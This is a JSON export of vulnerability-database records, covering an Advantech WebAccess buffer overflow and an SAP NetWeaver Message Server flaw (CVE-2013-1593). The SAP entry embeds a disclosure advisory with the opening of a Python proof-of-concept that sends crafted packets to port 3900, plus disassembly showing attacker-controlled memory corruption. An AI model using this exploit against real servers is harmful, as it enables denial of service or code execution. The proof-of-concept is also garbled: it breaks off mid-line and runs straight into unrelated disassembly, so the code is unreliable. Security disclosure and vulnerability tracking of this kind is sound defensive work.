}, { "db": "ZDI_CAN", "id": "ZDI-CAN-6295", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-1307", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-6287", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-1300", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-6289", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-1302", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-6285", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-1298", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-6301", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-1313", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-6292", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-1304", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-6297", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-1309", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-6294", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-1306", "trust": 0.7 }, { "db": "IVD", "id": "E2FEEFE1-39AB-11E9-8E28-000C29342CB1", "trust": 0.2 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "IVD", "id": "e2feefe1-39ab-11e9-8e28-000c29342cb1" }, { "db": "CNVD", "id": "CNVD-2018-21935" } ], "data": true, "trust": 1.33891657, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "IVD", "id": "e2feefe1-39ab-11e9-8e28-000c29342cb1" }, { "db": "CNVD", "id": "CNVD-2018-21935" } ], "data": [ { "category": [ "ICS" ], "sub_category": null, "trust": 0.8 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "ZDI", "id": "ZDI-18-1311" }, { "db": "ZDI", "id": "ZDI-18-1312" }, { "db": "ZDI", "id": "ZDI-18-1308" }, { "db": "ZDI", "id": "ZDI-18-1310" }, { "db": "ZDI", "id": "ZDI-18-1314" }, { "db": "ZDI", "id": "ZDI-18-1307" }, { "db": "ZDI", "id": "ZDI-18-1300" }, { "db": "ZDI", "id": "ZDI-18-1302" }, { "db": "ZDI", "id": "ZDI-18-1298" }, { "db": "ZDI", "id": "ZDI-18-1313" }, { "db": "ZDI", "id": "ZDI-18-1304" }, { "db": "ZDI", "id": "ZDI-18-1309" }, { "db": "ZDI", "id": "ZDI-18-1306" }, { "db": "CNVD", "id": "CNVD-2018-21935" }, { "db": "CNNVD", "id": "CNNVD-201810-1188" } ], "data": [ { "title": "Advantech has issued an update to correct this vulnerability.", "url": "https://ics-cert.us-cert.gov/advisories/icsa-18-296-01", "trust": 9.1 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/143393", "title": "Patch for Advantech WebAccess Stack Buffer Overflow Vulnerability (CNVD-2018-21935)", "trust": 0.6 }, { "title": "Advantech WebAccess Buffer error vulnerability fix", "url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=86280", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "IVD", "id": "e2feefe1-39ab-11e9-8e28-000c29342cb1" }, { "db": "ZDI", "id": "ZDI-18-1311" }, { "db": "ZDI", "id": "ZDI-18-1312" }, { "db": "ZDI", "id": "ZDI-18-1308" }, { "db": "ZDI", "id": "ZDI-18-1310" }, { "db": "ZDI", "id": "ZDI-18-1314" }, { "db": "ZDI", "id": "ZDI-18-1307" }, { "db": "ZDI", "id": "ZDI-18-1300" }, { "db": "ZDI", "id": "ZDI-18-1302" }, { "db": "ZDI", "id": "ZDI-18-1298" }, { "db": "ZDI", "id": "ZDI-18-1313" }, { "db": "ZDI", "id": "ZDI-18-1304" }, { "db": "ZDI", "id": "ZDI-18-1309" }, { "db": "ZDI", "id": "ZDI-18-1306" }, { "db": "CNVD", "id": "CNVD-2018-21935" }, { "db": "BID", "id": "105728" }, { "db": "CNNVD", "id": "CNNVD-201810-1188" }, { "db": "NVD", "id": "CVE-2018-14816" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "NVD", "id": "CVE-2018-14816" } ], "data": [ { "trust": 1.0, "problemtype": "CWE-787" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "ZDI", "id": "ZDI-18-1311" }, { "db": "ZDI", "id": "ZDI-18-1312" }, { "db": "ZDI", "id": "ZDI-18-1308" }, { "db": "ZDI", "id": "ZDI-18-1310" }, { "db": "ZDI", "id": "ZDI-18-1314" }, { "db": "ZDI", "id": "ZDI-18-1307" }, { "db": "ZDI", "id": "ZDI-18-1300" }, { "db": "ZDI", "id": "ZDI-18-1302" }, { "db": "ZDI", "id": "ZDI-18-1298" }, { "db": "ZDI", "id": "ZDI-18-1313" }, { "db": "ZDI", "id": "ZDI-18-1304" }, { "db": "ZDI", "id": "ZDI-18-1309" }, { "db": "ZDI", "id": "ZDI-18-1306" }, { "db": "CNVD", "id": "CNVD-2018-21935" }, { "db": "BID", "id": "105728" }, { "db": "CNNVD", "id": "CNNVD-201810-1188" }, { "db": "NVD", "id": "CVE-2018-14816" } ], "data": [ { "url": "https://ics-cert.us-cert.gov/advisories/icsa-18-296-01", "trust": 10.6 }, { "url": "http://www.securityfocus.com/bid/105728", "trust": 1.6 }, { "url": "http://www.securitytracker.com/id/1041939", "trust": 1.6 }, { "url": "https://ics-cert.us-cert.gov/advisories/icsa-18-296-01%2c", "trust": 1.0 }, { "url": "http://webaccess.advantech.com", "trust": 0.3 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "ZDI", "id": "ZDI-18-1311", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1312", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1308", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1310", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1314", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1307", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1300", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1302", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1298", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1313", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1304", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1309", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1306", "date": "2018-10-24T00:00:00" }, { "db": "CNVD", "id": "CNVD-2018-21935", "date": "2018-10-28T00:00:00" }, { "db": "BID", "id": "105728", "date": "2018-10-23T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201810-1188", "date": "2019-10-17T00:00:00" }, { "db": "NVD", "id": "CVE-2018-14816", "date": "2023-11-07T02:53:02.097000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "IVD", "id": "e2feefe1-39ab-11e9-8e28-000c29342cb1", "date": "2018-10-28T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1311", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1312", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1308", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1310", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1314", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1307", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1300", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1302", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1298", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1313", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1304", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1309", "date": "2018-10-24T00:00:00" }, { "db": "ZDI", "id": "ZDI-18-1306", "date": "2018-10-24T00:00:00" }, { "db": "CNVD", "id": "CNVD-2018-21935", "date": "2018-10-28T00:00:00" }, { "db": "BID", "id": "105728", "date": "2018-10-23T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201810-1188", "date": "2018-10-24T00:00:00" }, { "db": "NVD", "id": "CVE-2018-14816", "date": "2018-10-23T20:29:00.530000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "threat_type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-201810-1188" } ], "data": "remote", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "title": { "sources": [ { "db": "ZDI", "id": "ZDI-18-1312" }, { "db": "ZDI", "id": "ZDI-18-1304" } ], "data": "Advantech WebAccess Client bwwebv Stack-based Buffer Overflow Remote Code Execution Vulnerability", "trust": 1.4, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "type": { "sources": [ { "db": "IVD", "id": "e2feefe1-39ab-11e9-8e28-000c29342cb1" }, { "db": "CNNVD", "id": "CNNVD-201810-1188" } ], "data": "Buffer error", "trust": 0.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2018-14816", "last_update_date": "2024-07-23T22:37:44.850000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-201810-0396", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-202001-0833](https://vulnerability.circl.lu/vuln/var-202001-0833) ```json { "id": "VAR-202001-0833", "affected_products": { "sources": [ { "db": "IVD", "id": "29348194-1f62-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "29fdb3de-1f62-11e6-abef-000c29c66e3d" }, { "db": "ZDI", "id": "ZDI-12-112" }, { "db": "ZDI", "id": "ZDI-12-111" }, { "db": "ZDI", "id": "ZDI-12-104" }, { "db": "CNVD", "id": "CNVD-2012-3434" }, { "db": "CNVD", "id": "CNVD-2012-3433" }, { "db": "BID", "id": "57956" }, { "db": "JVNDB", "id": "JVNDB-2013-007128" }, { "db": "NVD", "id": "CVE-2013-1593" } ], "data": [ { "vendor": "sap", "model": "netweaver", "version": null, "scope": null, "trust": 2.1 }, { "vendor": "sap", "model": "netweaver", "version": "2004s", "scope": "eq", "trust": 1.8 }, { "vendor": "sap", "model": "netweaver abap", "version": null, "scope": null, "trust": 1.2 }, { "vendor": "sap", "model": "netweaver", "version": "7.30", "scope": "eq", "trust": 1.0 }, { "vendor": "sap", "model": "netweaver", "version": "7.02", "scope": "eq", "trust": 1.0 }, { "vendor": "sap", "model": "netweaver", "version": "7.01", "scope": "eq", "trust": 1.0 }, { "vendor": "sap", "model": "netweaver", "version": null, "scope": "eq", "trust": 0.8 }, { "vendor": "sap", "model": "netweaver", "version": "7.01 sr1", "scope": "eq", "trust": 0.8 }, { "vendor": "sap", "model": "netweaver", "version": "7.02 sp06", "scope": "eq", "trust": 0.8 }, { "vendor": "sap", "model": "netweaver", "version": "7.30 sp04", "scope": "eq", "trust": 0.8 }, { "vendor": "sap", "model": "netweaver abap null", "version": "*", "scope": "eq", "trust": 0.4 }, { "vendor": "sap", "model": "netweaver 2004s", "version": "0", "scope": "eq", "trust": 0.3 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "configurations": { "sources": [ { "db": "NVD", "id": "CVE-2013-1593" } ], "data": [ { "CVE_data_version": "4.0", "nodes": [ { "operator": "OR", "children": [], "cpe_match": [ { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:sap:netweaver:7.01:sr1:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:sap:netweaver:7.02:sp06:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:sap:netweaver:7.30:sp04:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:sap:netweaver:2004s:*:*:*:*:*:*:*", "cpe_name": [] } ] } ] } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "data": { "@container": "@list" }, "nodes": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "children": { "@container": "@list" } } }, "credits": { "sources": [ { "db": "ZDI", "id": "ZDI-12-112" }, { "db": "ZDI", "id": "ZDI-12-111" }, { "db": "ZDI", "id": "ZDI-12-104" } ], "data": "e6af8de8b1d4b2b6d5ba2610cbf9cd38", "trust": 2.1, "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "IVD", "id": "29348194-1f62-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "29fdb3de-1f62-11e6-abef-000c29c66e3d" }, { "db": "ZDI", "id": "ZDI-12-112" }, { "db": "ZDI", "id": "ZDI-12-111" }, { "db": "ZDI", "id": "ZDI-12-104" }, { "db": "VULMON", "id": "CVE-2013-1593" }, { "db": "JVNDB", "id": "JVNDB-2013-007128" }, { "db": "NVD", "id": "CVE-2013-1593" } ], "data": [ { "severity": [ { "value": "HIGH", "author": "NVD", "id": "CVE-2013-1593", "trust": 1.8 }, { "id": "ZDI-12-112", "value": "HIGH", "author": "ZDI", "trust": 0.7 }, { "id": "ZDI-12-111", "value": "HIGH", "author": "ZDI", "trust": 0.7 }, { "id": "ZDI-12-104", "value": "HIGH", "author": "ZDI", "trust": 0.7 }, { "id": "29348194-1f62-11e6-abef-000c29c66e3d", "value": "HIGH", "author": "IVD", "trust": 0.2 }, { "id": "29fdb3de-1f62-11e6-abef-000c29c66e3d", "value": "HIGH", "author": "IVD", "trust": 0.2 }, { "id": "CVE-2013-1593", "value": "MEDIUM", "author": "VULMON", "trust": 0.1 } ], "cvssV2": [ { "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false, "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5.0, "author": "NVD", "severity": "MEDIUM", "trust": 1.0 }, { "id": "CVE-2013-1593", "author": "NVD", "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "accessVector": "Network", "accessComplexity": "Low", "authentication": "None", "confidentialityImpact": "None", "integrityImpact": "None", "availabilityImpact": "Partial", "baseScore": 5.0, "severity": "Medium", "exploitabilityScore": null, "impactScore": null, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 0.9 }, { "id": "ZDI-12-112", "author": "ZDI", "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "COMPLETE", "baseScore": 9.0, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 8.5, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 0.7 }, { "id": "ZDI-12-111", "author": "ZDI", "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 0.7 }, { "id": "ZDI-12-104", "author": "ZDI", "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 0.7 }, { "version": "unknown", "vectorString": null, "accessVector": null, "accessComplexity": null, "authentication": null, "confidentialityImpact": null, "integrityImpact": null, "availabilityImpact": null, "baseScore": null, "severity": null, "exploitabilityScore": null, "impactScore": null, "id": "29348194-1f62-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 }, { "version": "unknown", "vectorString": null, "accessVector": null, "accessComplexity": null, "authentication": null, "confidentialityImpact": null, "integrityImpact": null, "availabilityImpact": null, "baseScore": null, "severity": null, "exploitabilityScore": null, "impactScore": null, "id": "29fdb3de-1f62-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 } ], "cvssV3": [ { "exploitabilityScore": 3.9, "impactScore": 3.6, "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "author": "NVD", "trust": 1.0 }, { "id": "CVE-2013-1593", "author": "NVD", "version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "attackVector": "Network", "attackComplexity": "Low", "privilegesRequired": "None", "userInteraction": "None", "scope": "Unchanged", "confidentialityImpact": "None", "availabilityImpact": "High", "baseScore": 7.5, "baseSeverity": "High", "exploitabilityScore": null, "impactScore": null, "integrityImpact": "None", "trust": 0.8 } ] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2013-1593" }, { "db": "JVNDB", "id": "JVNDB-2013-007128" }, { "db": "ZDI", "id": "ZDI-12-112" }, { "db": "ZDI", "id": "ZDI-12-111" }, { "db": "ZDI", "id": "ZDI-12-104" }, { "db": "CNVD", "id": "CNVD-2012-3434" }, { "db": "CNVD", "id": "CNVD-2012-3433" }, { "db": "BID", "id": "57956" }, { "db": "IVD", "id": "29348194-1f62-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "29fdb3de-1f62-11e6-abef-000c29c66e3d" }, { "db": "VULMON", "id": "CVE-2013-1593" }, { "db": "PACKETSTORM", "id": "120350" }, { "db": "PACKETSTORM", "id": "114279" } ], "data": "A Denial of Service vulnerability exists in the WRITE_C function in the msg_server.exe module in SAP NetWeaver 2004s, 7.01 SR1, 7.02 SP06, and 7.30 SP04 when sending a crafted SAP Message Server packet to TCP ports 36NN and/or 39NN. SAP NetWeaver Contains an array index validation vulnerability.Denial of service operation (DoS) May be in a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of SAP Netweaver ABAP. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. If a package with sub opcode 0x4 contains a long parameter value string NetWeaver will eventually write a \\x00 byte onto the stack to mark the end of the string. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code. \nSuccessfully exploiting these issues may allow an attacker to execute arbitrary code with the privileges of the user running the affected application or cause denial-of-service conditions. \nThe following products are affected:\nSAP Netweaver 2004s\nSAP Netweaver 7.01 SR1\nSAP Netweaver 7.02 SP06\nSAP Netweaver 7.30 SP04. Core Security - Corelabs Advisory\nhttp://corelabs.coresecurity.com/\n\nCORE-2012-1128\n\n\n1. *Advisory Information*\n\nTitle: SAP Netweaver Message Server Multiple Vulnerabilities\nAdvisory ID: CORE-2012-1128\nAdvisory URL:\nhttp://www.coresecurity.com/content/SAP-netweaver-msg-srv-multiple-vulnerabilities\nDate published: 2013-02-13\nDate of last update: 2013-02-13\nVendors contacted: SAP\nRelease mode: Coordinated release\n\n\n\n2. *Vulnerability Information*\n\nClass: Improper Validation of Array Index [CWE-129], Buffer overflow\n[CWE-119]\nImpact: Code execution, Denial of service\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1592, CVE-2013-1593\n\n\n\n3. By sending different messages,\nthe different vulnerabilities can be triggered. \n\n\n4. *Vulnerable packages*\n\n . Older versions are probably affected too, but they were not checked. \n\n5. *Non-vulnerable packages*\n\n . Vendor did not provide this information. \n\n6. *Vendor Information, Solutions and Workarounds*\n\nSAP released the security note 1800603 [2] regarding these issues. \n\n\n7. *Credits*\n\nVulnerability [CVE-2013-1592] was discovered by Martin Gallo and\nFrancisco Falcon, and additional research was performed by Francisco\nFalcon. Vulnerability [CVE-2013-1593] was discovered and researched by\nMartin Gallo from Core Security Consulting Services. The publication of\nthis advisory was coordinated by Fernando Miranda from Core Advisories\nTeam. \n\n\n8. *Technical Description / Proof of Concept Code*\n\nThe following python script is the main PoC that can be used to\nreproduce all vulnerabilities described below:\n\n/-----\nimport socket, struct\nfrom optparse import OptionParser\n\n# Parse the target options\nparser = OptionParser()\nparser.add_option(\"-d\", \"--hostname\", dest=\"hostname\", help=\"Hostname\",\ndefault=\"localhost\")\nparser.add_option(\"-p\", \"--port\", dest=\"port\", type=\"int\", help=\"Port\nnumber\", default=3900)\n(options, args) = parser.parse_args()\n\nclient_string = '-'+' '*39\nserver_name = '-'+' '*39\n\ndef send_packet(sock, packet):\n packet = struct.pack(\"!I\", len(packet)) + packet\n sock.send(packet)\n\ndef receive(sock):\n length = sock.recv(4)\n (length, ) = struct.unpack(\"!I\", length)\n data = \"\"\n while len(data))\n.data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o\n.data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... \n\n-----/\n This vulnerability can be used to corrupt arbitrary memory with\narbitrary values, with some restrictions. The following snippet shows\nthe vulnerable code within the '_MsJ2EE_AddStatistics' function:\n\n/-----\nmov edi, [ebp+pJ2eeHeader]\nmov eax, [edi+MSJ2EE_HEADER.serviceid] ;attacker\ncontrols MSJ2EE_HEADER.serviceid\nxor ecx, ecx\ncmp dword ptr j2ee_stat_total.totalMsgCount+4, ecx\nlea esi, [eax+eax*8]\nlea esi, j2ee_stat_services.totalMsgCount[esi*8] ;using the index\nwithout validating array bounds\n\n-----/\n Since the 'serviceid' value is first multiplied by 9 and then it is\nmultiplied by 8, the granularity of the memory addresses that can be\ntargeted for memory corruption is 0x48 bytes, which is the size of the\n'MSJ2EE_STAT_ELEMENT' struct:\n\n/-----\n00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type)\n00000000 ; XREF:\n.data:j2ee_stat_totalr\n00000000 ; .data:j2ee_stat_servicesr\n00000000 totalMsgCount dq ? ; XREF:\n_MsJ2EE_AddStatistics+1Br\n00000000 ;\n_MsJ2EE_AddStatistics+2Fr ... \n00000008 totalMsgLength dq ? ; XREF:\n_MsJ2EE_AddStatistics+192r\n00000008 ;\n_MsJ2EE_AddStatistics+19Br ... \n00000010 avgMsgLength dq ? ; XREF:\n_MsJ2EE_AddStatistics+1C2w\n00000010 ;\n_MsJ2EE_AddStatistics+1C7w ... \n00000018 maxLength dq ? ; XREF:\n_MsJ2EE_AddStatistics+161r\n00000018 ;\n_MsJ2EE_AddStatistics+16Er ... \n00000020 noP2PMessage dq ? ; XREF:\n_MsJ2EE_AddStatistics:loc_44D442w\n00000020 ;\n_MsJ2EE_AddStatistics+158w ... \n00000028 noP2PRequest dq ? ; XREF:\n_MsJ2EE_AddStatistics+144w\n00000028 ;\n_MsJ2EE_AddStatistics+14Aw ... \n00000030 noP2PReply dq ? ; XREF:\n_MsJ2EE_AddStatistics+132w\n00000030 ;\n_MsJ2EE_AddStatistics+138w ... \n00000038 noBroadcastMessage dq ? ; XREF:\n_MsJ2EE_AddStatistics:loc_44D40Dw\n00000038 ;\n_MsJ2EE_AddStatistics+123w ... \n00000040 noBroadcastRequest dq ? ; XREF:\n_MsJ2EE_AddStatistics+10Fw\n00000040 ;\n_MsJ2EE_AddStatistics+115w ... \n00000048 MSJ2EE_STAT_ELEMENT ends\n\n-----/\n However, it is possible to use different combinations of the\n'flag/iflag' values in the Message Server packet to gain more precision\nover the memory addresses that can be corrupted. Different combinations\nof 'flag/iflag' values provide different memory corruption primitives,\nas shown below:\n\n/-----\nAt this point:\n * ESI points to an arbitrary, attacker-controlled memory address\n * EBX == 1\n\n.text:0044D359 movzx eax, [ebp+msiflag]\n.text:0044D35D sub eax, 0Ch\n.text:0044D360 jz short loc_44D37C\n.text:0044D362 sub eax, ebx\n.text:0044D364 jnz short loc_44D39D\n.text:0044D366 cmp [ebp+msflag], 2\n.text:0044D36A jnz short loc_44D374\n.text:0044D36C add [esi+40h], ebx ; iflag=0xd,\nflag=2 => add 1 to [esi+0x40]\n.text:0044D36F adc [esi+44h], ecx\n.text:0044D372 jmp short loc_44D39D\n.text:0044D374 ;\n---------------------------------------------------------------------------\n.text:0044D374\n.text:0044D374 loc_44D374: ; CODE XREF:\n_MsJ2EE_AddStatistics+7Aj\n.text:0044D374 add [esi+38h], ebx ; iflag=0xd,\nflag=1 => add 1 to [esi+0x38]\n.text:0044D377 adc [esi+3Ch], ecx\n.text:0044D37A jmp short 